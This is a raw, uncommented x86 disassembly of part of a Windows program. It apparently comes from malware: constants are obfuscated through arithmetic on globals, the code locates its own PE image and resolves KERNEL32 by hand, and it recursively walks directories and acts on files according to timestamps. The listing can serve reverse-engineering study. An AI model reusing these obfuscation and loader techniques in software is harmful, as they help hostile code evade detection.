		cmp	ds:dword_44B5B8, eax
		jbe	short loc_43D52C
		push	offset dword_44B5B8
		call	ds:dword_448014


loc_43D52C:				; CODE XREF: sub_43D508+17j
		mov	eax, ds:dword_44B5B8
		pop	ebp
		retn	4
sub_43D508	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D535	proc near		; DATA XREF: sub_443843+53o

var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_210]
		push	eax
		push	offset dword_44B0A0
		call	sub_4457E1
		add	esp, 8
		mov	[ebp+var_208], eax
		movsx	eax, word_551194
		movsx	edx, word_551198
		add	eax, edx
		sub	eax, 2
		cmp	[ebp+var_208], eax
		jnz	short loc_43D57D
		xor	eax, eax
		jmp	loc_43D70E
; ---------------------------------------------------------------------------


loc_43D57D:				; CODE XREF: sub_43D535+3Fj
		mov	eax, dword_551214
		add	eax, dword_5510EC
		mov	[ebp+var_204], eax


loc_43D58E:				; CODE XREF: sub_43D535+1C5j
		mov	eax, [ebp+var_204]
		mov	edx, [ebp+var_208]
		lea	ecx, [edx+eax]
		or	eax, 0FFFFFFFFh


loc_43D5A0:				; CODE XREF: sub_43D535+70j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D5A0
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0FFh
		jnb	short loc_43D5E3
		mov	eax, [ebp+var_204]
		mov	edx, dword_551224
		add	edx, dword_5511F8
		sub	edx, 3
		add	eax, edx
		add	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_4475D4


loc_43D5E3:				; CODE XREF: sub_43D535+82j
		movsx	esi, word_5510A8
		jmp	short loc_43D611
; ---------------------------------------------------------------------------


loc_43D5EC:				; CODE XREF: sub_43D535+EEj
		cmp	[ebp+esi+var_FF], 29h
		jnz	short loc_43D5FE
		mov	[ebp+esi+var_FF], 3Dh


loc_43D5FE:				; CODE XREF: sub_43D535+BFj
		cmp	[ebp+esi+var_FF], 28h
		jnz	short loc_43D610
		mov	[ebp+esi+var_FF], 2Bh


loc_43D610:				; CODE XREF: sub_43D535+D1j
		inc	esi


loc_43D611:				; CODE XREF: sub_43D535+B5j
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_43D61A:				; CODE XREF: sub_43D535+EAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D61A
		cmp	esi, eax
		jb	short loc_43D5EC
		push	0FFh
		lea	eax, [ebp+var_1FE]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_446AA8
		add	esp, 0Ch
		mov	ebx, eax
		movsx	edi, word_551094
		sub	edi, 2
		jmp	short loc_43D67C
; ---------------------------------------------------------------------------


loc_43D64E:				; CODE XREF: sub_43D535+149j
		movsx	eax, [ebp+edi+var_1FE]
		mov	[ebp+var_218], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_21C], eax
		mov	eax, [ebp+var_218]
		mov	edx, [ebp+var_21C]
		sub	eax, edx
		mov	[ebp+edi+var_1FE], al
		inc	edi


loc_43D67C:				; CODE XREF: sub_43D535+117j
		cmp	edi, ebx
		jb	short loc_43D64E
		mov	eax, dword_55123C
		add	eax, dword_5511EC
		sub	eax, 2
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_43FE22
		add	esp, 0Ch
		mov	[ebp+var_214], eax
		mov	eax, dword_551180
		add	eax, 0FFFBh
		add	eax, dword_55120C
		cmp	[ebp+var_214], eax
		jz	short loc_43D6D0
		push	[ebp+var_208]
		call	ds:dword_44B5CC
		xor	eax, eax
		inc	eax
		jmp	short loc_43D70E
; ---------------------------------------------------------------------------


loc_43D6D0:				; CODE XREF: sub_43D535+188j
		mov	eax, [ebp+var_20C]
		add	[ebp+var_204], eax
		mov	eax, dword_55118C
		inc	eax
		add	eax, dword_551158
		add	[ebp+var_204], eax
		mov	eax, [ebp+var_210]
		cmp	[ebp+var_204], eax
		jb	loc_43D58E
		push	[ebp+var_208]
		call	ds:dword_44B5CC
		xor	eax, eax


loc_43D70E:				; CODE XREF: sub_43D535+43j
					; sub_43D535+199j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D535	endp


; =============== S U B	R O U T	I N E =======================================



sub_43D713	proc near		; DATA XREF: .data:005512D4o
		mov	eax, 80004001h
		retn	8
sub_43D713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D71B	proc near		; CODE XREF: sub_43D0C6+10Dp

var_40		= word ptr -40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		movsx	eax, word_551148
		mov	edi, eax
		add	edi, dword_5511C0
		sub	edi, 2
		jmp	short loc_43D749
; ---------------------------------------------------------------------------


loc_43D73B:				; CODE XREF: sub_43D71B+3Ej
		mov	ebx, edi
		shl	ebx, 1
		mov	dx, [esi+edi*2]
		mov	[ebp+ebx+var_40], dx
		inc	edi


loc_43D749:				; CODE XREF: sub_43D71B+1Ej
		mov	eax, dword_551140
		add	eax, 1Fh
		add	eax, dword_5511DC
		cmp	edi, eax
		jb	short loc_43D73B
		lea	eax, [ebp+var_40]
		push	eax
		push	esi
		call	sub_445AFA
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D71B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D76D	proc near		; CODE XREF: start+1p

var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_127		= byte ptr -127h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		push	edi
		lea	edx, sub_446ED7
		mov	ecx, dword_55117C
		add	ecx, 9
		mov	eax, edx
		shr	eax, cl
		mov	edx, dword_551230
		add	edx, 7
		add	edx, dword_5511D4
		mov	ecx, edx
		mov	ebx, eax
		shl	ebx, cl
		lea	eax, sub_446ED7
		mov	[ebp+var_14], eax


loc_43D7AA:				; CODE XREF: sub_43D76D+5Fj
					; sub_43D76D+90j ...
		mov	[ebp+var_18], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_43D7CE
		movsx	eax, word_551148
		mov	edx, dword_5510E0
		lea	eax, [eax+edx+0FFF9h]
		sub	ebx, eax
		jmp	short loc_43D7AA
; ---------------------------------------------------------------------------


loc_43D7CE:				; CODE XREF: sub_43D76D+47j
		mov	eax, dword_5511E0
		add	eax, 38h
		mov	esi, ebx
		add	esi, eax
		mov	eax, ebx
		add	eax, [esi]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_14]
		cmp	eax, ecx
		jbe	short loc_43D7FF
		mov	eax, dword_551120
		add	eax, 0FFF2h
		movsx	edx, word_5510D0
		add	eax, edx
		sub	ebx, eax
		jmp	short loc_43D7AA
; ---------------------------------------------------------------------------


loc_43D7FF:				; CODE XREF: sub_43D76D+79j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_43D81F
		movsx	eax, word_5510F8
		add	eax, 0FFFBh
		sub	ebx, eax
		jmp	short loc_43D7AA
; ---------------------------------------------------------------------------


loc_43D81F:				; CODE XREF: sub_43D76D+A0j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_C], eax
		mov	eax, dword_5511B4
		sub	eax, 4
		mov	[ebp+var_4], eax
		jmp	loc_43D9B7
; ---------------------------------------------------------------------------


loc_43D83B:				; CODE XREF: sub_43D76D+256j
		mov	eax, ebx
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_4]
		mov	[ebp+var_12C], eax
		mov	edx, dword_5510D4
		sub	edx, 5
		cmp	[eax], edx
		jz	loc_43D9C9
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+0Ch]
		mov	[ebp+var_130], edx
		push	edx
		lea	eax, [ebp+var_127]
		push	eax
		call	sub_4475D4
		mov	eax, dword_5511B0
		add	eax, dword_551178
		sub	eax, 10h
		mov	[ebp+var_28], eax
		jmp	short loc_43D8AD
; ---------------------------------------------------------------------------


loc_43D88B:				; CODE XREF: sub_43D76D+156j
		mov	eax, [ebp+var_28]
		mov	al, [ebp+eax+var_127]
		cmp	al, 61h
		jle	short loc_43D8AA
		cmp	al, 7Ah
		jge	short loc_43D8AA
		mov	eax, [ebp+var_28]
		lea	eax, [ebp+eax+var_127]
		sub	byte ptr [eax],	20h


loc_43D8AA:				; CODE XREF: sub_43D76D+12Aj
					; sub_43D76D+12Ej
		inc	[ebp+var_28]


loc_43D8AD:				; CODE XREF: sub_43D76D+11Cj
		mov	eax, [ebp+var_28]
		movsx	eax, [ebp+eax+var_127]
		mov	edx, dword_5511B8
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43D88B
		mov	eax, dword_551160
		cmp	byte ptr [ebp+eax+var_12C+3], 4Ch
		jnz	loc_43D9B3
		mov	edx, dword_551098
		cmp	byte ptr [ebp+edx+var_12C+2], 33h
		jnz	loc_43D9B3
		cmp	byte ptr [ebp+eax+var_130+2], 4Bh
		jnz	loc_43D9B3
		mov	eax, dword_55112C
		add	eax, dword_5511FC
		cmp	byte ptr [ebp+eax+var_130+2], 45h
		jnz	loc_43D9B3
		movsx	eax, word_551144
		cmp	byte ptr [ebp+eax+var_12C+3], 52h
		jnz	loc_43D9B3
		mov	eax, dword_55117C
		add	eax, dword_551150
		cmp	byte ptr [ebp+eax+var_12C+1], 32h
		jnz	short loc_43D9B3
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+10h]
		mov	[ebp+var_138], edx
		mov	eax, dword_551150
		add	eax, dword_55123C
		sub	eax, 4
		mov	[ebp+var_134], eax


loc_43D962:				; CODE XREF: sub_43D76D+242j
		mov	eax, [ebp+var_138]
		mov	esi, eax
		add	esi, [ebp+var_134]
		mov	edi, [esi]
		mov	eax, dword_55120C
		add	eax, dword_5511D4
		sub	eax, 0Ch
		cmp	edi, eax
		jz	short loc_43D9C9
		push	edi
		call	sub_43FFC1
		pop	ecx
		mov	eax, dword_551150
		sub	eax, 4
		cmp	dword_551254, eax
		jnz	short loc_43D9C9
		mov	eax, dword_551124
		add	eax, dword_55116C
		sub	eax, 3
		add	[ebp+var_134], eax
		jmp	short loc_43D962
; ---------------------------------------------------------------------------
		jmp	short loc_43D9C9
; ---------------------------------------------------------------------------


loc_43D9B3:				; CODE XREF: sub_43D76D+165j
					; sub_43D76D+179j ...
		add	[ebp+var_4], 14h


loc_43D9B7:				; CODE XREF: sub_43D76D+C9j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_4], eax
		jb	loc_43D83B


loc_43D9C9:				; CODE XREF: sub_43D76D+E7j
					; sub_43D76D+215j ...
		mov	eax, dword_5511D0
		add	eax, dword_551248
		sub	eax, 0Bh
		cmp	dword_551254, eax
		jz	short loc_43DA41
		call	sub_43E7A3
		call	sub_43E397
		call	sub_43DC76
		mov	edx, eax
		mov	[ebp+var_19], dl
		movzx	eax, [ebp+var_19]
		mov	edx, dword_5510D4
		sub	edx, 3
		cmp	eax, edx
		jz	short loc_43DA41
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, dword_5511B4
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	offset sub_446ED7
		mov	eax, dword_55118C
		add	eax, dword_5510D4
		sub	eax, 6
		push	eax
		mov	eax, dword_551228
		movsx	edx, word_5510F8
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		call	ds:dword_54FF20


loc_43DA41:				; CODE XREF: sub_43D76D+270j
					; sub_43D76D+295j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D76D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DA46	proc near		; CODE XREF: sub_441052+ABp
					; sub_441052+FDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, esi
		and	eax, [ebp+arg_8]
		mov	edx, esi
		not	edx
		and	edx, [ebp+arg_C]
		or	eax, edx
		mov	edx, edi
		add	edx, eax
		mov	eax, edx
		add	eax, [ebp+arg_10]
		mov	edi, eax
		add	edi, [ebp+arg_18]
		push	[ebp+arg_14]
		push	edi
		call	sub_43F3EA
		add	esp, 8
		mov	edi, eax
		add	edi, esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_43DA46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DA83	proc near		; DATA XREF: sub_4467F2+2Do

var_1FFF	= byte ptr -1FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4475B4
		push	esi
		push	edi
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_54FF38
		push	offset byte_5527D9
		call	sub_43CAF7
		mov	edi, dword_5511F8
		sub	edi, 2
		push	edi
		push	eax
		lea	edi, [ebp+var_1FFF]
		push	edi
		call	sub_43FE22
		add	esp, 10h
		mov	esi, dword_5511F8
		add	esi, 0FFFCh
		cmp	eax, esi
		jz	short loc_43DAE4
		push	[ebp+arg_0]
		call	sub_4447CD
		pop	ecx


loc_43DAE4:				; CODE XREF: sub_43DA83+56j
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		leave
		retn	8
sub_43DA83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DAED	proc near		; CODE XREF: sub_441052+212p
					; sub_441052+274p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_C]
		mov	eax, ebx
		and	eax, esi
		mov	edx, [ebp+arg_8]
		mov	ecx, esi
		not	ecx
		and	edx, ecx
		or	eax, edx
		mov	edx, edi
		add	edx, eax
		mov	eax, edx
		add	eax, [ebp+arg_10]
		mov	edi, eax
		add	edi, [ebp+arg_18]
		push	[ebp+arg_14]
		push	edi
		call	sub_43F3EA
		add	esp, 8
		mov	edi, eax
		add	edi, ebx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43DAED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DB30	proc near		; CODE XREF: sub_446250+133p
					; DATA XREF: sub_443843+69o

var_104		= byte ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		mov	eax, dword_55110C
		mov	edx, eax
		add	edx, dword_55119C
		sub	edx, 6
		push	edx
		add	eax, dword_55114C
		sub	eax, 4
		push	eax
		push	3
		movsx	eax, word_551240
		add	eax, dword_5511A0
		sub	eax, 10h
		push	eax
		mov	eax, dword_5510C0
		sub	eax, 2
		push	eax
		push	80000000h
		push	offset dword_4CC230
		call	ds:dword_54FB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43DB90
		mov	eax, 2Ah
		jmp	short loc_43DBFA
; ---------------------------------------------------------------------------


loc_43DB90:				; CODE XREF: sub_43DB30+57j
		mov	eax, dword_551228
		movsx	edx, word_5510C4
		add	eax, edx
		sub	eax, 0Eh
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_448034
		mov	esi, eax
		push	edi
		call	ds:dword_4CD948
		movzx	eax, [ebp+var_FF]
		mov	edx, dword_5511D0
		add	edx, 1Ah
		cmp	eax, edx
		jge	short loc_43DBE0
		mov	eax, 2Ah
		jmp	short loc_43DBFA
; ---------------------------------------------------------------------------


loc_43DBE0:				; CODE XREF: sub_43DB30+A7j
		mov	eax, dword_55119C
		sub	eax, 4
		cmp	esi, eax
		jnz	short loc_43DBF3
		mov	eax, 2Ah
		jmp	short loc_43DBFA
; ---------------------------------------------------------------------------


loc_43DBF3:				; CODE XREF: sub_43DB30+BAj
		movzx	eax, [ebp+var_FF]


loc_43DBFA:				; CODE XREF: sub_43DB30+5Ej
					; sub_43DB30+AEj ...
		pop	edi
		pop	esi
		leave
		retn
sub_43DB30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DBFE	proc near		; CODE XREF: sub_440364+B8p
					; sub_440364+273p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	ds:dword_448000
		mov	edi, eax
		mov	eax, dword_551188
		add	eax, dword_5511E4
		sub	eax, 9
		push	eax
		mov	eax, dword_5510B8
		add	eax, dword_551224
		sub	eax, 5
		push	eax
		mov	eax, dword_551160
		add	eax, 1FF7h
		movsx	edx, word_551148
		add	eax, edx
		push	eax
		push	esi
		push	edi
		push	ebx
		movsx	eax, word_5510C4
		sub	eax, 6
		push	eax
		push	0
		call	ds:dword_448010
		mov	eax, dword_551114
		movsx	edx, word_551198
		add	eax, edx
		sub	eax, 2
		mov	[esi+edi], al
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43DBFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DC76	proc near		; CODE XREF: sub_43D76D+27Cp
					; sub_446ED7:loc_446F1Cp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	edi
		mov	edi, dword_551188
		inc	edi
		movsx	eax, word_5510A8
		add	edi, eax
		jmp	short loc_43DD04
; ---------------------------------------------------------------------------


loc_43DC93:				; CODE XREF: sub_43DC76+A1j
		push	offset byte_5527CD
		call	sub_43CAF7
		mov	[ebp+var_108], eax
		push	offset byte_5527C3
		call	sub_43CAF7
		push	edi
		push	eax
		mov	esi, [ebp+var_108]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		call	ds:dword_50E928
		add	esp, 18h
		lea	eax, [ebp+var_FF]
		push	eax
		push	0
		push	100000h
		call	ds:dword_4CD938
		mov	[ebp+var_104], eax
		or	eax, eax
		jz	short loc_43DD03
		push	eax
		call	ds:dword_4CD948
		movsx	eax, word_551128
		inc	eax
		cmp	edi, eax
		jnz	short loc_43DCFC
		xor	eax, eax
		inc	eax
		jmp	short loc_43DD1F
; ---------------------------------------------------------------------------


loc_43DCFC:				; CODE XREF: sub_43DC76+7Fj
		mov	eax, 2
		jmp	short loc_43DD1F
; ---------------------------------------------------------------------------


loc_43DD03:				; CODE XREF: sub_43DC76+6Cj
		inc	edi


loc_43DD04:				; CODE XREF: sub_43DC76+1Bj
		mov	eax, dword_551110
		add	eax, 5Bh
		movsx	edx, word_551104
		add	eax, edx
		cmp	edi, eax
		jb	loc_43DC93
		xor	eax, eax


loc_43DD1F:				; CODE XREF: sub_43DC76+84j
					; sub_43DC76+8Bj
		pop	edi
		pop	esi
		leave
		retn
sub_43DC76	endp


; =============== S U B	R O U T	I N E =======================================



sub_43DD23	proc near		; CODE XREF: sub_446ED7+Cp
		push	edi
		push	offset asc_5527B4 ; "\v"
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_55127C, eax
		mov	eax, dword_5510EC
		movsx	edx, word_551164
		add	eax, edx
		sub	eax, 2
		cmp	dword_55127C, eax
		jnz	short loc_43DD6B
		push	offset byte_5527A5
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_55127C, eax


loc_43DD6B:				; CODE XREF: sub_43DD23+2Fj
		push	offset byte_55278D
		call	sub_43CAF7
		pop	ecx
		push	eax
		push	dword_55127C
		call	ds:dword_44B1AC
		mov	ds:dword_449FC4, eax
		pop	edi
		retn
sub_43DD23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DD8A	proc near		; CODE XREF: sub_446250+572p
					; DATA XREF: sub_443843+ECo

var_10A		= byte ptr -10Ah
var_104		= byte ptr -104h
var_FF		= byte ptr -0FFh
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		mov	eax, dword_5510A4
		add	eax, dword_5511B4
		mov	dl, [ebp+arg_0]
		mov	[ebp+eax+var_10A], dl
		mov	eax, dword_5511E0
		sub	eax, 4
		push	eax
		push	80h
		push	4
		mov	eax, dword_551178
		sub	eax, 9
		push	eax
		mov	eax, dword_55124C
		movsx	edx, word_551208
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	40000000h
		push	offset dword_4CC230
		call	ds:dword_54FB18
		mov	edi, eax
		movsx	eax, word_5511C4
		add	eax, dword_551170
		sub	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, dword_551178
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_54FF1C
		push	edi
		call	ds:dword_4CD948
		pop	edi
		leave
		retn
sub_43DD8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43DE1F	proc near		; DATA XREF: sub_445B7F+1AAo

var_A		= byte ptr -0Ah
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	offset sub_443207
		push	dword ptr fs:0
		mov	fs:0, esp
		push	offset byte_552785
		call	sub_43CAF7
		push	dword ptr [edi]
		push	eax
		lea	esi, [ebp+var_A]
		push	esi
		call	ds:dword_50E928
		add	esp, 10h


loc_43DE55:				; CODE XREF: sub_43DE1F+5Dj
		push	0
		push	dword ptr [edi]
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_44077A
		movsx	eax, word_551190
		add	eax, dword_5510B8
		sub	eax, 0Ch
		push	eax
		call	ds:dword_50E924
		add	esp, 10h
		jmp	short loc_43DE55
sub_43DE1F	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DE84	proc near		; CODE XREF: sub_43DE84+20Ep
					; sub_43DE84+27Cp ...

var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		inc	ebx
		push	offset byte_55277D
		call	sub_43CAF7
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50E928
		add	esp, 10h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_4CC228
		mov	[ebp+var_248], eax
		movsx	eax, word_551194
		neg	eax
		cmp	[ebp+var_248], eax
		jnz	loc_43E046
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_54FB10
		mov	[ebp+var_260], eax
		movsx	eax, word_551094
		movsx	edx, word_5510D0
		add	eax, edx
		sub	eax, 8
		cmp	[ebp+var_260], eax
		jle	short loc_43DF1C
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_43DF27
; ---------------------------------------------------------------------------


loc_43DF1C:				; CODE XREF: sub_43DE84+89j
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_43DF27:				; CODE XREF: sub_43DE84+96j
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_54EA78
		mov	eax, dword_551158
		movzx	edx, [ebp+var_24E]
		movzx	ecx, [ebp+var_250]
		mov	esi, dword_55120C
		lea	esi, [eax+esi+35h]
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_252]
		mov	esi, dword_5511F8
		add	esi, 15h
		imul	ecx, esi
		mov	esi, dword_55115C
		add	esi, 38h
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_256]
		mov	esi, dword_551098
		add	esi, 15h
		imul	ecx, esi
		movsx	esi, word_5511C4
		mov	edi, dword_5511B0
		lea	esi, [esi+edi+9]
		imul	ecx, esi
		mov	esi, dword_55114C
		add	esi, 35h
		movsx	edi, word_551128
		add	esi, edi
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_258]
		mov	esi, dword_5510E0
		movsx	edi, word_55109C
		add	esi, edi
		imul	ecx, esi
		movsx	esi, word_5510B4
		add	esi, 19h
		imul	ecx, esi
		mov	esi, dword_5510B8
		add	esi, 11h
		add	esi, eax
		mov	eax, ecx
		imul	eax, esi
		movsx	ecx, word_5511E8
		mov	esi, dword_55117C
		lea	ecx, [ecx+esi+2Eh]
		imul	eax, ecx
		add	edx, eax
		mov	[ebp+var_25C], edx
		mov	eax, edx
		mov	edx, ds:dword_448030
		cmp	eax, edx
		ja	loc_43E10F
		sub	edx, eax
		mov	eax, dword_5510B8
		add	eax, 10DCh
		cmp	edx, eax
		jbe	loc_43E10F
		push	[ebp+arg_0]
		call	ds:dword_44800C
		mov	[ebp+var_26C], eax
		jmp	loc_43E10F
; ---------------------------------------------------------------------------


loc_43E046:				; CODE XREF: sub_43DE84+56j
		cmp	[ebp+var_112], 2Eh
		jz	loc_43E10B
		push	offset dword_552774
		call	sub_43CAF7
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50E928
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43DE84
		add	esp, 158h
		jmp	short loc_43E10B
; ---------------------------------------------------------------------------


loc_43E09F:				; CODE XREF: sub_43DE84+289j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	ds:dword_449FC8
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_43E10F
		cmp	[ebp+var_112], 2Eh
		jz	short loc_43E10B
		push	offset byte_55276B
		call	sub_43CAF7
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50E928
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_43DE84
		add	esp, 158h


loc_43E10B:				; CODE XREF: sub_43DE84+1C9j
					; sub_43DE84+219j ...
		or	ebx, ebx
		jnz	short loc_43E09F


loc_43E10F:				; CODE XREF: sub_43DE84+194j
					; sub_43DE84+1A8j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43DE84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E114	proc near		; CODE XREF: sub_43EDC6:loc_43EDC9p

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, dword_5510C0
		add	eax, dword_55118C
		sub	eax, 3
		push	eax
		mov	eax, dword_5511E4
		sub	eax, 4
		push	eax
		push	20h
		mov	eax, dword_55114C
		movsx	edx, word_5510D0
		add	eax, edx
		sub	eax, 8
		push	eax
		call	ds:dword_48BA00
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4CC430
		mov	eax, dword_551214
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_8]
